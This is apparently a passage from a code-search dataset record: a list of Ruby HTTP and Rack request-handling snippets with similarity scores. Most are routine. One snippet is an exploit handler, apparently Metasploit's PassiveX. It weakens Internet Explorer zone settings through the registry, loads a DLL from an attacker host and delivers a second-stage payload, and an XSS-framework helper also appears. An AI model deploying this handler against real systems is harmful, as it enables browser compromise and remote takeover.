req_to_output.to_curl\n end\n end\n end\n\n response_status = parse_response_status response\n \n begin \n # catch unparsable responses (html etc)\n if !response.parsed_response.is_a?(Hash)\n #pp \"[gem] the response was unparsable (response was not a hash)\"\n raise CityGridExceptions::ResponseParseError.new req_for_airbrake, response, \"the response was unparsable (response was not a hash)\", req_to_output.to_curl\n else\n # Parse and handle new response codes \n if !response_status.nil? && response_status[\"code\"] != \"SUCCESS\" && response_status[\"code\"] != 200\n raise CityGridExceptions.appropriate_error(response_status[\"code\"]).new req_for_airbrake, response, response_status[\"message\"].to_s, req_to_output.to_curl\n else\n return CityGrid::API::Response.new response\n end\n end\n rescue => ex\n pp \"API ERROR: #{ex}\"\n raise ex if CityGrid.raise_errors?\n end\n end", "def call(env)\n\t\t\t\tbegin\n\t\t\t\t\tresponse = @app.call(env)\n\t\t\t\trescue Exception => ex\n\t\t\t\t\tnotify_riemann(ex, env)\n\t\t\t\t\traise ex\n\t\t\t\tend\n\n\t\t\t\t# The internal framework middlewares store exceptions inside the Rack\n\t\t\t\t# env. See: https://goo.gl/Kd694n\n\t\t\t\texception = env['action_dispatch.exception'] || env['sinatra.error']\n\t\t\t\tnotify_riemann(exception, env) if exception\n\n\t\t\t\tresponse\n\t\t\tend", "def call(env)\n # catch(:halt) do\n # r = @_request\n # r.block_result(instance_exec(r, &block))\n # @_response.finish\n # end\n [200, { \"Content-Type\": \"text/plain\" }, \"Helo\"]\n end", "def run_http_client(url, req, process_params)\n\t\t\t\tbegin\n\t\t\t\t\tparsed_url \t= URI.parse(URI.escape(CGI::unescape(url)))\n\t\t\t\t\tclient \t\t= Rex::Proto::Http::Client.new(parsed_url.host, parsed_url.port, {}, false)\n\t\t\t\t\t\n\t\t\t\t\t(req.unparsed_uri =~ /^#{parsed_url.path}/) ? uri = req.unparsed_uri : uri = parsed_url.path + req.unparsed_uri\n\t\t\t\t\t\n\t\t\t\t\tresp = client.send_recv(client.request_raw(\n\t\t\t\t\t\t'method'=> req.request_method, \n\t\t\t\t\t\t'vhost'\t=> parsed_url.host + ':' + parsed_url.port.to_s,\n\t\t\t\t\t\t'agent' => req.header['user-agent'][0],\n\t\t\t\t\t\t'cookie'=> req.cookies[0],\n\t\t\t\t\t\t'uri'\t=> process_params ? Rex::Text.to_hex_ascii(uri).gsub(/\\\\x/, '%') : parsed_url.path,\n\t\t\t\t\t\t'data' => process_params ? req.body : \"\"\n\t\t\t\t\t))\n\t\t\t\t\tclient.close\n\t\t\t\t\treturn resp\n\t\t\t\trescue\n\t\t\t\t\tprint_error(\"Error 1: #{$!}\") if (XSSF_MODE[0] =~ /^Debug$/i)\n\t\t\t\t\treturn nil\n\t\t\t\tend\n\t\t\tend", "def perform(env)\n app.call(env)\n rescue Faraday::ConnectionFailed, Faraday::SSLError, Faraday::TimeoutError => e\n # try to avoid caching proxy errors\n raise e if proxy_error?(env, e)\n\n stuff_999_response(env, e)\n end", "def call(env)\n @domain = Rack::Request.new(env).host\n app = domain_matches? ? app_or_dsl_block : @next_app\n app.call(env)\n end", "def dispatch_request(env)\n @params = Hash.recursively_symbolize_graph!(Rack::Utils::parse_query(env['QUERY_STRING']))\n @json_data = @internal_proxy ? (EventMachineRPC.parse_json_from_file(@params[:json_path]) rescue {}) : {}\n method = strip_base(env)\n self.send(method.to_sym, env)\n end", "def call(env)\n serving(env)\n end", "def request(method, request_uri, long_url)\n Net::HTTP.start(@uri.host, @uri.port) do |http|\n headers = { 'Content-Type' => 'text/plain' }\n response = http.send_request(method, request_uri, long_url, headers)\n process_response(response)\n end\n end", "def request_and_handle http_method, path, options\n if http_method.is_a?(String) || http_method.is_a?(Symbol)\n http_method = HTTP_METHODS[http_method.to_s]\n raise \"Unknown http method: #{http_method}\" unless http_method\n end\n \n req_options = default_options.dup\n req_options = req_options.merge(options)\n \n raise ConfigurationError.new \"No endpoint defined\" if !path || path.empty?\n raise ConfigurationError.new \"No hostname defined\" if !req_options[:base_uri] || req_options[:base_uri].empty?\n \n # prepare request\n req = HTTParty::Request.new http_method, path, req_options\n\n # Sanitized request for logs\n safe_req_options = strip_unsafe_params(http_method, req_options)\n req_to_output = HTTParty::Request.new http_method, path, safe_req_options\n req_for_airbrake = { :method => http_method, :path => path, :options => safe_req_options }\n\n begin\n response = req.perform\n rescue => ex\n raise CityGridExceptions::RequestError.new req_for_airbrake, ex\n ensure\n if CityGrid.print_curls? \n if defined?(Rails.logger)\n Rails.logger.info req_to_output.to_curl\n else\n puts req_to_output.to_curl\n end\n end\n end\n\n \n begin \n # catch unparsable responses (html etc)\n if !response.parsed_response.is_a?(Hash)\n #pp \"[gem] the response was unparsable (response was not a hash)\"\n raise CityGridExceptions::ResponseParseError.new req_for_airbrake, response\n # catch responses not in new response format\n elsif response[\"errors\"]\n #pp \"[gem] An error in the old response format was caught. Raising a general response error...\"\n raise CityGridExceptions::ResponseError.new req_for_airbrake, response[\"errors\"], response\n\n # Parse and handle new response codes \n elsif (response[\"response\"] && response[\"response\"][\"code\"] != \"SUCCESS\") && \n (response[\"response\"] && response[\"response\"][\"code\"] != 200) && \n (response[\"response\"] && response[\"response\"][\"code\"] != 400) \n error_code = response[\"response\"][\"code\"]\n #pp \"[gem] The response was contained in the first level of the response hash. Below:\"\n #pp response\n #pp \"found error code: #{error_code}\"\n #pp \"****************************************************************************\"\n raise CityGridExceptions.appropriate_error(error_code).new req_for_airbrake, response, response[\"response\"][\"message\"].to_s #+ \" \" + CityGridExceptions.print_superclasses(error_code)\n # if the response is a nested hash/nested hash containing arrays\n elsif response[\"totalNumEntries\"] && response[\"response\"].nil?\n #pp \"[gem] now parsing a response with multiple entries: #{response}\"\n error_code = parse_multiple_responses(response)\n #pp \"the error code that came back is #{error_code}\"\n if error_code.nil? || error_code == []\n #pp \"[gem] passing over this for now\"\n return CityGrid::API::Response.new response # pass over for now\n elsif error_code[0] == \"SUCCESS\" || error_code[0] == 200 || error_code[0] == 400\n return CityGrid::API::Response.new response\n else \n #pp \"[gem] we found an error and it was #{error_code[1]}\"\n raise CityGridExceptions.appropriate_error(error_code[0]).new req_for_airbrake, response, error_code[1].to_s + \" \"# + CityGridExceptions.print_superclasses(error_code[0])\n end\n else\n return CityGrid::API::Response.new response\n end\n rescue => ex\n pp \"The gem threw an error: #{ex}\"\n raise ex if CityGrid.raise_errors?\n end\n end", "def on_request(cli, req)\n\t\tsid = nil\n\t\tresp = Rex::Proto::Http::Response.new\n\n\t\t# Grab the SID if one was supplied in the request header.\n\t\tif (req['X-Sid'] and \n\t\t (m = req['X-Sid'].match(/sid=(\\d+?)/)))\n\t\t\tsid = m[1]\n\t\tend\n\n\t\t# Process the requested resource.\n\t\tcase req.relative_resource\n\t\t\twhen \"/\"\n\t\t\t\t# Get a new sid\n\t\t\t\tself.sid_pool += 1\n\t\t\t\tnsid = sid_pool\n\n\t\t\t\tresp['Content-Type'] = 'text/html'\n\t\t\t\t# natron 2/27/09: modified to work with IE7/IE8. For some reason on IE8 this can spawn extra set\n\t\t\t\t# of processes. It works, so will go ahead and commit changes and debug later to run it down.\n\t\t\t\tresp.body = %Q^<html> \n<object classid=\"CLSID:#{datastore['PXAXCLSID']}\" codebase=\"#{datastore['PXURI']}/passivex.dll##{datastore['PXAXVER']}\"> \n <param name=\"HttpHost\" value=\"#{datastore['PXHOST']}\"> \n <param name=\"HttpPort\" value=\"#{datastore['PXPORT']}\">\n <param name=\"HttpUriBase\" value=\"#{datastore['PXURI']}\"> \n <param name=\"HttpSid\" value=\"#{nsid}\">^ + ((stage_payload) ? %Q^\n <param name=\"DownloadSecondStage\" value=\"1\">^ : \"\") + %Q^\n</object>\n<script>\nvar WshShell = new ActiveXObject(\"Wscript.Shell\");\nvar marker = true;\nvar regCheck;\nvar regRange = \"HKLM\\\\\\\\SOFTWARE\\\\\\\\Policies\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Internet Settings\\\\\\\\ZoneMap\\\\\\\\Ranges\\\\\\\\random\\\\\\\\\" //Can be any value\nvar regIntranet = \"HKLM\\\\\\\\SOFTWARE\\\\\\\\Policies\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Internet Settings\\\\\\\\Zones\\\\\\\\1\\\\\\\\\";\n\n//Check if we've run this before.\ntry { regCheck = WshShell.RegRead(regRange + \"marker\"); } catch (e) { marker = false; }\n\nif (marker == false) {\n //Modify perms for the Intranet zone.\n WshShell.RegWrite(regIntranet + \"1001\",0,\"REG_DWORD\");\n WshShell.RegWrite(regIntranet + \"1004\",0,\"REG_DWORD\");\n WshShell.RegWrite(regIntranet + \"1200\",0,\"REG_DWORD\");\n WshShell.RegWrite(regIntranet + \"1201\",0,\"REG_DWORD\");\n WshShell.RegWrite(regIntranet + \"1208\",0,\"REG_DWORD\");\n\n //Map IP to the newly modified zone.\n WshShell.RegWrite(regRange,1,\"REG_SZ\");\n WshShell.RegWrite(regRange + \":Range\",\"#{datastore['PXHOST']}\",\"REG_SZ\");\n WshShell.RegWrite(regRange + \"*\",1,\"REG_DWORD\");\n WshShell.RegWrite(regRange + \"marker\",1,\"REG_DWORD\"); //Just a marker\n\n //Clean up after the original passivex stage1 loader; reset to default IE7 install\n var regDefault = \"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Internet Settings\\\\\\\\Zones\\\\\\\\3\\\\\\\\\";\n WshShell.RegWrite(regDefault + \"1001\",1,\"REG_DWORD\");\n WshShell.RegWrite(regDefault + \"1004\",3,\"REG_DWORD\");\n WshShell.RegWrite(regDefault + \"1200\",0,\"REG_DWORD\");\n WshShell.RegWrite(regDefault + \"1201\",3,\"REG_DWORD\");\n\n //Clean up and delete the created entries\n setTimeout('WshShell.RegDelete(regIntranet + \"1001\")', 60000);\n setTimeout('WshShell.RegDelete(regIntranet + \"1004\")', 60000);\n setTimeout('WshShell.RegDelete(regIntranet + \"1200\")', 60000);\n setTimeout('WshShell.RegDelete(regIntranet + \"1201\")', 60000);\n setTimeout('WshShell.RegDelete(regIntranet + \"1208\")', 60000);\n setTimeout('WshShell.RegDelete(regRange)', 60000);\n\n WshShell.Run(\"iexplore.exe -new http://#{datastore['PXHOST']}:#{datastore['PXPORT']}#{datastore['PXURI']}\",0,false);\n}\n</script>\n</html>^\n\n\t\t\t\t# Create a new local PX session with the supplied sid\n\t\t\t\tnew_session_channel(nsid)\n\t\t\t\t\n\t\t\t\tprint_status(\"Sending PassiveX main page to client\")\n\t\t\twhen \"/passivex.dll\"\n\t\t\t\tresp['Content-Type'] = 'application/octet-stream'\n\t\t\t\tresp.body = ''\n\t\t\t\t\n\t\t\t\tFile.open(dll_path, \"rb\") { |f|\n\t\t\t\t\tresp.body = f.read\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tprint_status(\"Sending PassiveX DLL (#{resp.body.length} bytes)\")\n\t\t\twhen \"/stage\"\n\t\t\t\tresp.body = generate_stage\n\n\t\t\t\t# Now that we've transmitted a second stage, it's time to indicate\n\t\t\t\t# that we've found a new session. We call handle_connection using\n\t\t\t\t# the lsock of the local stream.\n\t\t\t\tif (s = find_session_channel(sid))\n\t\t\t\t\tThread.new {\n\t\t\t\t\t\tbegin\n\t\t\t\t\t\t\ts.remote = cli\n\t\t\t\t\t\t\thandle_connection(s.lsock)\n\t\t\t\t\t\trescue ::Exception\n\t\t\t\t\t\t\telog(\"Exception raised during PX handle connection: #{$!}\", 'core', LEV_1)\n\n\t\t\t\t\t\t\tdlog(\"Call stack:\\n#{[email protected](\"\\n\")}\", 'core', LEV_3)\n\t\t\t\t\t\tend\n\t\t\t\t\t}\n\t\t\t\tend\n\n\t\t\t\tprint_status(\"Sending stage to sid #{sid} (#{resp.body.length} bytes)\")\n\t\t\twhen \"/tunnel_in\"\n\t\t\t\ts.write_local(req.body) if (s = find_session_channel(sid))\n\t\t\twhen \"/tunnel_out\" \n\t\t\t\tcli.keepalive = true\n\t\t\t\tresp = nil\n\t\t\t\ts.remote = cli if (s = find_session_channel(sid))\n\t\t\telse\n\t\t\t\tresp.code = 404\n\t\t\t\tresp.message = \"Not found\"\n\t\tend\n\n\t\tcli.send_response(resp) if (resp)\n\tend", "def call!(env)\n @env = env.dup\n status, @headers, response = @app.call(@env)\n if processable_request?\n @headers.delete('Content-Length')\n response = Rack::Response.new(\n nice_typography(response.respond_to?(:body) ? response.body : response.to_s),\n status,\n @headers\n )\n response.finish\n response.to_a\n else\n [status, @headers, response]\n end\n end", "def perform_http_request\n request_opts = { followlocation: true, ssl_verifypeer: false, timeout: 30 }\n @response = Typhoeus.get(@webpage_request.url, request_opts)\n @response && process_response_data\n @response\n end", "def make_request url, method: ::Rack::GET, body: nil, headers: []\n env = Testing.build_standard_env URI(url), headers\n env[::Rack::REQUEST_METHOD] = method\n env[::Rack::RACK_INPUT] = ::StringIO.new body if body\n ::Rack::Request.new env\n end", "def call(env)\n request = ActionDispatch::Request.new(env)\n username, password = username_password env\n @route_set = ActionDispatch::Routing::RouteSet.new\n\n my_short_list = short_list(username, password, request.request_method, request.url).all.to_a.reverse\n headers = downcased_headers(env)\n body = request.body.read\n request.body.rewind\n setup_router my_short_list, request, headers, body\n rack_app.call(env)\n end", "def request(verb, uri, opts = T.unsafe(nil)); end", "def call(env)\n resp = Rack::Response.new\n req = Rack::Request.new(env)\n\n if req.path.match(/items/)\n item_name = req.path.split(\"/items/\").last #uses regex to split and remove the folder\n #remember that split needs to be on a string\n #ex; turn /songs/Sorry into Sorry\n item = @@items.find{|i| i.name == item_name}\n if item\n resp.write item.price #price and name are the two attributes of the item class\n else\n resp.write \"Item not found\"\n resp.status = 400\n end\n else #returns 404 status code for a bad route\n resp.status = 404\n resp.write \"Route not found\"\n end\n\n resp.finish\n end", "def run(req, res)\n parse_http_methods!(req)\n matching_route = match(req)\n if matching_route\n matching_route.run(req, res)\n else\n res.status = 404\n res.write \"404 route not found\"\n end\n end", "def start\n @pid = Process.fork do\n if (@options.rack) \n # NOTE: This does not support command-line setting of repo!\n opts = { :server => :webrick, :host => @host, :port => @port}\n PlanR::Application::LocalHttpd::WebApp.run!( repo, opts ) \n else\n # rack doesn't do the one thing we need it to: \n # pass WebApp instantiation arguments to Webrick.mount\n opts = { :BindAddress => @host, :Port => @port}\n @webrick = ::WEBrick::HTTPServer.new(opts)\n @webrick.mount \"/\", Servlet,\n [ PlanR::Application::LocalHttpd::WebApp, \n @options ]\n @webrick.start\n end\n end\n\n trap('INT') { Process.kill 'INT', @pid }\n trap('TERM') { Process.kill 'INT', @pid }\n\n self\n end", "def rack_app\n opts = { host: @host.host,\n scheme: @host.scheme,\n force_ssl: @host.scheme == 'https' }\n\n Lotus::Router.new(opts).tap do |router|\n router.get(INDEX_PATH, to: Coach::Handler.new(Routes::Index))\n router.get(GC_CALLBACK_PATH, to: build_gc_callback_handler)\n router.post(SLACK_MESSAGES_PATH, to: build_slack_messages_handler)\n router.get(ADD_CUSTOMER_PATH, to: build_add_customer_handler)\n router.get(ADD_CUSTOMER_SUCCESS_PATH, to: build_add_customer_success_handler)\n router.post(GC_WEBHOOKS_PATH, to: build_gc_webhooks_handler)\n end\n end", "def call(env)\n super\n perform_request env\n @app.call env\n end", "def run_webrick(config = {})\n config.update :Port => 8080\n server = HTTPServer.new config\n yield server if block_given?\n [\"INT\", \"TERM\"].each { |signal| trap(signal) { server.shutdown } }\n server.start\nend", "def run(url, headers, req_type, data = nil, sql = false)\n begin\n uri = URI.parse(url)\n http = Net::HTTP.new(uri.host, uri.port)\n if uri.port.to_s == \"443\"\n http.use_ssl = true\n end\n http.read_timeout = @timeout\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n requester = nil\n parsed_data = data\n\n if !sql \n parsed_data = data.to_json\n end\n\n if req_type == \"post\"\n requester = Net::HTTP::Post.new(uri.request_uri, initheader = headers)\n requester.body = parsed_data\n elsif req_type == \"put\"\n requester = Net::HTTP::Put.new(uri.request_uri, initheader = headers)\n requester.body = parsed_data\n elsif req_type == \"get\"\n requester = Net::HTTP::Get.new(uri.request_uri, initheader = headers)\n elsif req_type == \"delete\"\n requester = Net::HTTP::Delete.new(uri.request_uri, initheader = headers)\n end\n http.request(requester)\n rescue Timeout::Error, Errno::EINVAL,\n Errno::ECONNRESET, EOFError, Net::HTTPBadResponse,\n Net::HTTPHeaderSyntaxError, Net::ProtocolError => e\n raise e\n end\n end", "def call(env)\n request = Rack::Request.new(env)\n if redirect_trailing_slash? && (request.head? || request.get?) && request.path_info[-1] == ?/\n response = Rack::Response.new\n response.redirect(request.path_info[0, request.path_info.size - 1], 302)\n response.finish\n else\n response = recognize(request)\n env['router'] = self\n if response.is_a?(RoutingResponse)\n [response.status, response.headers, []]\n elsif response && response.route.dest && response.route.dest.respond_to?(:call)\n process_params(env, response)\n consume_path!(request, response) if response.partial_match?\n response.route.dest.call(env)\n else\n @default_app.call(env)\n end\n end\n end", "def call(env)\n env.response = handle_response(env)\n @app.call(env)\n end", "def submit\n http = Net::HTTP.new(URL.host, URL.port)\n http.use_ssl = true\n http.start { |send| send.request(self) }.body\n end", "def call(env)\n req = Rack::Request.new(env)\n\n [200, { 'Content-Type' => 'application/json' }, [dispatch_action(req)]]\n rescue Heartcheck::Errors::RoutingError\n [404, { 'Content-Type' => 'application/json' }, ['Not found']]\n end", "def call(env)\n # Grab the request\n request = Rack::Request.new(env) \n \n # Create a new template for the given path\n # and compile it\n \n template = Template.new(Template.template_for_request(request))\n template.request = request\n output = template.compile\n\n # Build a rack response\n # Rack::Response.new.finish do |response|\n # response.write output\n # end \n [200, { 'Content-Type' => 'text/html'}, output]\n end", "def perform_request(method,uri)\n url = BASE_URL + uri\n HTTParty.send(method,url)\n end", "def send_request(method, params, &block); end", "def request(*args, &blk)\n (@client ||= connect).request(*args, &blk)\n end" ]
[ "0.6697119", "0.66095304", "0.65307903", "0.6473269", "0.64649", "0.64602274", "0.64350945", "0.63960373", "0.63189906", "0.6285097", "0.6272864", "0.6218218", "0.6210282", "0.6210282", "0.6190711", "0.6143083", "0.6112389", "0.6091336", "0.6082706", "0.607482", "0.6044765", "0.60327256", "0.60298157", "0.6015383", "0.59991056", "0.5997875", "0.59925413", "0.5991696", "0.5988129", "0.5981885", "0.5979473", "0.59716505", "0.5945323", "0.5939992", "0.5932857", "0.59199095", "0.5905355", "0.5897511", "0.58959854", "0.5893484", "0.58874565", "0.58641016", "0.5862851", "0.5856981", "0.58168054", "0.58162117", "0.5809605", "0.5804631", "0.57970613", "0.57852924", "0.5782858", "0.57773733", "0.5776083", "0.5776064", "0.57615334", "0.57595015", "0.5754756", "0.5754205", "0.5748824", "0.5736707", "0.57210296", "0.5718017", "0.5703528", "0.5697693", "0.5689948", "0.56869125", "0.56858957", "0.56824046", "0.56789136", "0.5678614", "0.5678301", "0.5675501", "0.5666351", "0.5664877", "0.56591564", "0.56471443", "0.56457597", "0.5636771", "0.5633852", "0.5631167", "0.5622749", "0.5615966", "0.5615678", "0.56129104", "0.56110936", "0.5610879", "0.56021094", "0.5600815", "0.55955225", "0.5595455", "0.5582308", "0.5574315", "0.5573974", "0.5568182", "0.5567068", "0.5566025", "0.55640787", "0.5549796", "0.55479825", "0.55457497", "0.5528754" ]
0.0
-1
get next yahrzeit date on or after "from" date
def next_yahrzeit_date(from=Date.today) return unless death_date # TODO: use Marlena rules h_from = Hebruby::HebrewDate.new(from) h_death = Hebruby::HebrewDate.new(death_date) # yahrzeit date from year h_yahrzeit = Hebruby::HebrewDate.new(h_death.day, h_death.month, h_from.year) date = Date.jd(h_yahrzeit.jd) if date < from h_yahrzeit = Hebruby::HebrewDate.new(h_death.day, h_death.month, h_from.year+1) date = Date.jd(h_yahrzeit.jd) end date end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def next_yahrzeit_date(from=Date.today)\n return unless death_hebrew_date_day && death_hebrew_date_month\n @next_yahrzeit_date ||= begin\n # TODO: use Marlena rules\n h_from = Hebruby::HebrewDate.new(from)\n # yahrzeit date from year\n h_yahrzeit = Hebruby::HebrewDate.new(death_hebrew_date_day, death_hebrew_date_month, h_from.year)\n date = Date.jd(h_yahrzeit.jd)\n if date < from\n h_yahrzeit = Hebruby::HebrewDate.new(death_hebrew_date_day, death_hebrew_date_month, h_from.year+1)\n date = Date.jd(h_yahrzeit.jd)\n end\n date\n end\n end", "def next_date\n next_observance.try(:start_on) || 100.years.from_now.to_date\n end", "def date_of_next(day)\n\t day_required = DateTime.parse(day)\n\t delta = day_required > DateTime.now ? 0 : 7\n\t (day_required + delta)\n\tend", "def date_of_next(day)\n date = Date.parse(day)\n delta = date > Date.today ? 0 : 7\n date + delta\n Chronic.parse(\"0 next #{day}\").to_datetime\n end", "def find_next date\n loop do \n \treturn date if include?(date)\n \t# puts \"#{@resolution} : #{date}\"\n \tdate = beginning_of_next @resolution, date\n end\n end", "def date_of_next(day)\r\n date = Date.parse(day)\r\n delta = date > Date.today ? 0 : 7\r\n date + delta\r\nend", "def next_date\n @schedule=schedules.where(\"schedules.end >= ?\", DateTime.now).sort_by(&:start).first\n if @schedule.nil?\n return schedules.sort_by(&:start).first\n else\n return @schedule\n end\n end", "def next_date\n if(!@previous_date)\n @previous_date = @start_date\n return @previous_date\n end\n \n previous = @previous_date>>1\n last_week_start = Time::CommonYearMonthDays[next_date.month] - 7\n case @frequency\n when \"first\"\n next_date = Date.new(d=1, y=next_date.year, m=next_date.month)\n when \"second\"\n next_date = Date.new(d=7, y=next_date.year, m=next_date.month)\n when \"third\"\n next_date = Date.new(d=14, y=next_date.year, m=next_date.month)\n when \"last\"\n next_date = Date.new(d=last_week_start, y=next_date.year, m=next_date.month)\n else\n return (previous_date>>1)\n end\n \n next_date.step(next_date+7, 1) do |date|\n return date if days_of_the_week.any(date.day)\n end\n end", "def get_next_date\n today_wday = Date.today.wday\n wday_s = get_weekday(limit_weekday_start)\n wday_e = get_weekday(limit_weekday_end)\n if(wday_s < wday_e)\n if(today_wday > wday_e or today_wday < wday_s or(today_wday == wday_s and Time.now.hour < limit_time_start) or (today_wday == wday_e and Time.now.hour > limit_time_end))\n need_day = (wday_s + 7 - today_wday)%7\n return Time.parse(limit_time_start.to_s + \":00\", Time.now + need_day.day), true\n else\n need_day = wday_e - today_wday\n return Time.parse(limit_time_end.to_s + \":00\", Time.now + need_day.day), false\n end\n else\n if((wday_e < today_wday and today_wday < wday_s) or (today_wday == wday_s and Time.now.hour < limit_time_start) or (today_wday == wday_e and Time.now.hour > limit_time_end))\n need_day = wday_s - today_wday\n return Time.parse(limit_time_start.to_s + \":00\", Time.now + need_day.day), true\n else\n need_day = (wday_e + 7 - today_wday)%7\n return Time.parse(limit_time_end.to_s + \":00\", Time.now + need_day.day), false\n end\n end\n end", "def date_of_next(day)\n date = Date.parse(day)\n delta = date > Date.today ? 0 : 7\n date + delta\n end", "def date_of_next(day)\n date = Date.parse(day)\n delta = date > Date.today ? 0 : 7\n date + delta\nend", "def next_scheduled_use_date\n next_date = nil\n\n open_orders.each do |o|\n if o.access_date_start\n next_date ||= o.access_date_start\n if o.access_date_start < next_date\n next_date = o.access_date_start\n end\n end\n end\n next_date\n end", "def date_of_next(day)\n date = Date.parse(day)\n delta = date > Date.today ? 0 : 7\n\n return date + delta\n end", "def find_next_date_for_monthly start\n if month_end || (start.month == 2 && month_day > 28) || month_day > 30\n next_date = start.end_of_month\n else\n next_date = Date.new(start.year, start.month, month_day)\n end\n return next_date if next_date <= end_date\n #next_date = next_date + 1.month\n #next_date = next_date.end_of_month if month_end\n nil\n end", "def find_next_day\n day = @date.to_date + ((@schedule.start_date - @date.to_date) % @schedule.period_num)\n return day\n end", "def next_available_move_in_date\n \tbookings = self.bookings.where(state: ['booked', 'deposit outstanding']).order(:move_out)\n \t# if self.bookable_date && self.bookable_date <= Date.today\n return nil if bookings.last&.state == 'deposit outstanding'\n if bookings.empty? || bookings.last.move_out&.past?\n Date.tomorrow\n elsif !bookings.last.move_out.nil?\n bookings.last.move_out + 1.day\n end\n end", "def next(now = @time_source.now, num = 1)\n t = InternalTime.new(now, @time_source)\n\n unless time_specs[:month][0].include?(t.month)\n nudge_month(t)\n t.day = 0\n end\n\n unless interpolate_weekdays(t.year, t.month)[0].include?(t.day)\n nudge_date(t)\n t.hour = -1\n end\n\n unless time_specs[:hour][0].include?(t.hour)\n nudge_hour(t)\n t.min = -1\n end\n\n # always nudge the minute\n nudge_minute(t)\n t = t.to_time\n if num > 1\n recursive_calculate(:next,t,num)\n else\n t\n end\n end", "def next(from, sec, fin)\n from ||= Time.at(0)\n sec ||= 0\n fin ||= Time.now\n #after is after or equal\n nxt = self.reports.next(from, sec).first\n # or it's the fist from the next second\n nxt ||= self.first(from+1, fin) \n end", "def next_day\r\n if @next_day.nil?\r\n @next_day = convert_day_to_date(current_day).tomorrow.strftime('%Y%m%d')\r\n end\r\n @next_day\r\n end", "def next_day(date)\n date + (60 * 60 * 24)\n end", "def find_next_date_for_yearly start\n if (month == start.month && month_end) || \n (month == start.month && start.month == 2 && month_day > 28) ||\n (month == start.month && month_day > 30)\n return start.end_of_month\n elsif month == start.month\n next_date = Date.new(start.year, month, month_day)\n end\n return next_date if next_date && next_date <= end_date\n #unless next_date.future?\n # next_date = next_date + 1.year\n # next_date = next_date.end_of_month if month_end\n #end\n #next_date\n nil\n end", "def next_run_time(from, to)\n next_time = cron.next_time(from)\n next_run = next_time.to_local_time.in_time_zone(next_time.zone)\n next_run <= to ? next_run : nil\n end", "def next_run_time(from, to)\n next_time = cron.next_time(from)\n next_run = next_time.to_local_time.in_time_zone(next_time.zone)\n next_run <= to ? next_run : nil\n end", "def next_run_time(from, to)\n next_time = cron.next_time(from)\n next_run = next_time.to_local_time.in_time_zone(next_time.zone)\n next_run <= to ? next_run : nil\n end", "def get_next_date(current_date,date)\n date = date.gsub(\",\",\"\")\n date = date.gsub(\" \",\"-\")\n arr = date.split(\"-\")\n if !((current_date.mday == 31 && (current_date.mon == 1 || current_date.mon == 3 || current_date.mon == 5 || current_date.mon == 7 || current_date.mon == 8 || current_date.mon == 10 || current_date.mon == 12)) || (current_date.mday == 30 && (current_date.mon == 4 || current_date.mon == 6 || current_date.mon == 9 || current_date.mon == 11)) || (current_date.mday == 28 && current_date.mon == 2))\n newDay = arr[2].to_i + 1\n if newDay < 10\n newDay = \"0\" + newDay.to_s()\n end\n newDate = arr[1] + \"-\" + newDay.to_s() + \"-\" + arr[3]\n else\n newDate = arr[1] + \"-\" + arr[2]+ \"-\" + arr[3]\n end\n end", "def get_next_date_for_next_weekday(week_day)\n DateTime.now + days_to_add(week_day)\nend", "def find_meetup_date\n Date.new(year, month).next_month.prev_day\n .downto(Date.new(year, month)) do |date|\n return date if correct_date?(date)\n end\n end", "def next_occurrence(from_date)\n residue = @residue - residue_for(from_date)\n date = move_by from_date, residue.modulo(interval)\n time = Time.new(date.year, date.month, date.day, start_time.hour, start_time.min, start_time.sec)\n if (exx = exclusions.detect {|rule| rule.violated_by? time})\n if stops_by && time > stops_by\n nil\n else\n next_occurrence(move_by time, 1)\n end\n else\n time\n end\n end", "def end_date\n\t\tself.next.start_date - 1\n\tend", "def find_next_non_specific(date)\n values = ['first', 'second', 'third', 'fourth']\n\n case @schedule.days_month\n when 'last'\n d = Date.new(date.year, date.month, -1)\n\n return d if @schedule.days_month_day == nil\n\n d -= ((d.wday - @schedule.days_month_day) % 7)\n\n if d < date\n d = d.at_beginning_of_month\n\n months_since_startdate = (d.year * 12 + d.month) - (@schedule.start_date.year * 12 + @schedule.start_date.month)\n \n months_to_add = @schedule.period_num\n if (months_since_startdate % @schedule.period_num) > 0\n months_to_add = @schedule.period_num - (months_since_startdate % @schedule.period_num)\n end\n\n d += months_to_add.months\n return find_next_non_specific(d)\n end\n\n return d\n else\n if @schedule.days_month_day == nil\n if values.index(@schedule.days_month) + 1 < date.day\n months_to_add = @schedule.period_num\n months_since_startdate = (date.year * 12 + date.month) - (@schedule.start_date.year * 12 + @schedule.start_date.month)\n if (months_since_startdate % @schedule.period_num) > 0\n months_to_add = @schedule.period_num - (months_since_startdate % @schedule.period_num)\n end\n date += months_to_add.months\n end\n \n return Date.new(date.year, date.month, values.index(@schedule.days_month)+1) if @schedule.days_month_day == nil\n end\n \n d = Date.new(date.year, date.month, 1)\n d += (@schedule.days_month_day - d.wday) % 7\n d += (7 * values.index(@schedule.days_month))\n\n if d < date\n d = d.at_beginning_of_month\n\n months_since_startdate = (d.year * 12 + d.month) - (@schedule.start_date.year * 12 + @schedule.start_date.month)\n \n months_to_add = @schedule.period_num\n if (months_since_startdate % @schedule.period_num) > 0\n months_to_add = @schedule.period_num - (months_since_startdate % @schedule.period_num)\n end\n\n d += months_to_add.months\n\n d = Date.new(d.year, d.month, 1)\n d += (@schedule.days_month_day - d.wday) % 7\n d += (7 * values.index(@schedule.days_month))\n end\n\n return d\n end\n end", "def next_month(from)\n from.next_month.change(day: 1)\n end", "def next_delivery_date\n self.release_dates.first.delivery_date\n end", "def calculate_from(date)\n calculate_for_dates([date]).first\n end", "def next_sibling_by_date\n siblings_by_date.where(\"starts_at >= ?\", starts_at)&.first\n end", "def include?(date)\n date >= start_date && date < self.next.date\n end", "def next_invoice_date\n self.invoices.length > 0 ? self.invoices.order(:id).last.issue_date + period.send(period_type) : starting_date\n end", "def next_day(date, number_of_day)\n date += 1 + (((number_of_day-1)-date.wday) % 7)\n end", "def get_next_date(date, available_hours)\n # available_hours, ex : [(start_morning, end_morning), (start_afternoon, end_afternoon)]\n # 48 times because we want to try until the next day, same hour:\n # we add 0.5 hour each time so we have to add\n next_date = date + 30.minutes\n 48.times do\n available_hours.each do 